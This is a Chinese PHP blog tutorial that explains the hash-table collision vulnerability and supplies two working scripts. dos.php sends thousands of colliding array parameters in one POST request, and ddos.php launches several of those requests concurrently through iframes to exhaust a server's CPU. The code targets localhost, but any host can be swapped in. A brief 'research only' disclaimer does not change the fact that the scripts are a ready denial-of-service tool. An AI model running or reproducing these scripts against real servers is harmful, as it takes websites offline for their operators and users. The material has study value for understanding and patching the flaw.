PHP利用hash冲突漏洞进行DDoS攻击的方法分析


Posted in PHP onMarch 26, 2015

本文实例分析了PHP利用hash冲突漏洞进行DDoS攻击的方法。分享给大家供大家参考。具体分析如下:

首先声明:本文内容只用于研究学习使用,请勿用于非法行为!

前面提到过最近爆出的hash表碰撞漏洞,包括java、python、php等在内的很多常用语言均未幸免,今晚咱就来实际看看它的威力。

攻击原理:

通过向目标服务器post一组精心拼凑的数组参数,到达服务端后语言底层处理接收到的数组参数时,由于该漏洞的存在造成CPU的大量消耗,最终导致服务器资源耗尽。
不用什么花哨的手法,就用PHP简单实现下看下效果,点到即止。

文件:dos.php

// 目标地址 
// 只要目标地址存在,不用管它是干嘛的 
$host = 'http://127.0.0.1/test.php';
$data = '';
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
{
  $data .= '&array[' . $key . ']=0';
}
$ret = curl($host, ltrim($data,'&')); 
var_dump($ret); 
function curl($url, $post, $timeout = 30){
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); 
  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
  curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_POST, true);
  curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  $output = curl_exec($ch);
  if ($output === false) return false;
  $info = curl_getinfo($ch);
  $http_code = $info['http_code'];
  if ($http_code == 404) return false;
  curl_close($ch);
  return $output;
}

文件:ddos.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> 
<title>DDOS</title> 
</head> 
<body> 
<?php 
for($i=0; $i<5; $i++){//并发数 
  echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>'; 
} 
?> 
</body> 
</html>

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
基于PHP字符串的比较函数strcmp()与strcasecmp()的使用详解
May 15 PHP
解决ajax+php中文乱码的方法详解
Jun 09 PHP
php中的Base62类(适用于数值转字符串)
Aug 12 PHP
学习php过程中的一些注意点的总结
Oct 25 PHP
PHP中的替代语法简介
Aug 22 PHP
php使用pdo连接报错Connection failed SQLSTATE的解决方法
Dec 15 PHP
PHP动态规划解决0-1背包问题实例分析
Mar 23 PHP
phpMyAdmin安装并配置允许空密码登录
Jul 04 PHP
yii分页组件用法实例分析
Dec 28 PHP
round robin权重轮循算法php实现代码
May 28 PHP
Yii2框架中日志的使用方法分析
May 22 PHP
PHP利用缓存处理用户注册时的邮箱验证,成功后用户数据存入数据库操作示例
Dec 31 PHP
ThinkPHP、ZF2、Yaf、Laravel框架路由大比拼
Mar 25 #PHP
CentOS 安装 PHP5.5+Redis+XDebug+Nginx+MySQL全纪录
Mar 25 #PHP
MacOS 安装 PHP的图片裁剪扩展Tclip
Mar 25 #PHP
php编写的一个E-mail验证类
Mar 25 #PHP
php取得字符串首字母的方法
Mar 25 #PHP
PHP判断IP并转跳到相应城市分站的方法
Mar 25 #PHP
PHP使用in_array函数检查数组中是否存在某个值
Mar 25 #PHP
You might like
PHP实现显示照片exif信息的方法
2014/07/11 PHP
浅谈json_encode用法
2015/03/05 PHP
PHP全局变量与超级全局变量区别分析
2016/04/01 PHP
原生PHP实现导出csv格式Excel文件的方法示例【附源码下载】
2019/03/07 PHP
Nigma vs AM BO3 第二场2.13
2021/03/10 DOTA
兼容IE/Firefox/Opera/Safari的检测页面装载完毕的脚本Ext.onReady的实现
2009/07/14 Javascript
js读取本地excel文档数据的代码
2010/11/11 Javascript
JavaScript中数组的排序、乱序和搜索实现代码
2011/11/30 Javascript
escape编码与unescape解码汉字出现乱码的解决方法
2014/07/02 Javascript
一看就懂:jsonp详解
2015/06/01 Javascript
javascript简单实现滑动菜单效果的方法
2015/07/27 Javascript
原生JavaScript实现Ajax的方法
2016/04/07 Javascript
第三章之Bootstrap 表格与按钮功能
2016/04/25 Javascript
jQuery图片轮播插件——前端开发必看
2016/05/31 Javascript
js实现复选框的全选和取消全选效果
2017/01/03 Javascript
vue 使用eventBus实现同级组件的通讯
2018/03/02 Javascript
如何编写一个d.ts文件的步骤详解
2018/04/13 Javascript
详解js静态检查工具eslint配置文件
2018/11/23 Javascript
微信小程序 调用远程接口 给全局数组赋值代码实例
2019/08/13 Javascript
js实现上传图片并显示图片名称
2019/12/18 Javascript
js+cavans实现图片滑块验证
2020/09/29 Javascript
使用jquery实现轮播图效果
2021/01/02 jQuery
Python numpy 点数组去重的实例
2018/04/18 Python
python 队列基本定义与使用方法【初始化、赋值、判断等】
2019/10/24 Python
利用python对excel中一列的时间数据更改格式操作
2020/07/14 Python
matplotlib部件之矩形选区(RectangleSelector)的实现
2021/02/01 Python
使用PDF.JS插件在HTML中预览PDF文件的方法
2018/08/29 HTML / CSS
德国机车企业:FC-Moto
2017/10/27 全球购物
拉斯维加斯城市观光通行证:Las Vegas Pass
2019/05/21 全球购物
有个性的自我评价范文
2013/11/15 职场文书
关于诚信的活动方案
2014/08/18 职场文书
同学联谊会邀请函
2019/06/24 职场文书
nginx搭建图片服务器的过程详解(root和alias的区别)
2021/03/31 Servers
解决golang 关于全局变量的坑
2021/05/06 Golang
基于Pygame实现简单的贪吃蛇游戏
2021/12/06 Python
Oracle数据库中通用的函数实例详解
2022/03/25 Oracle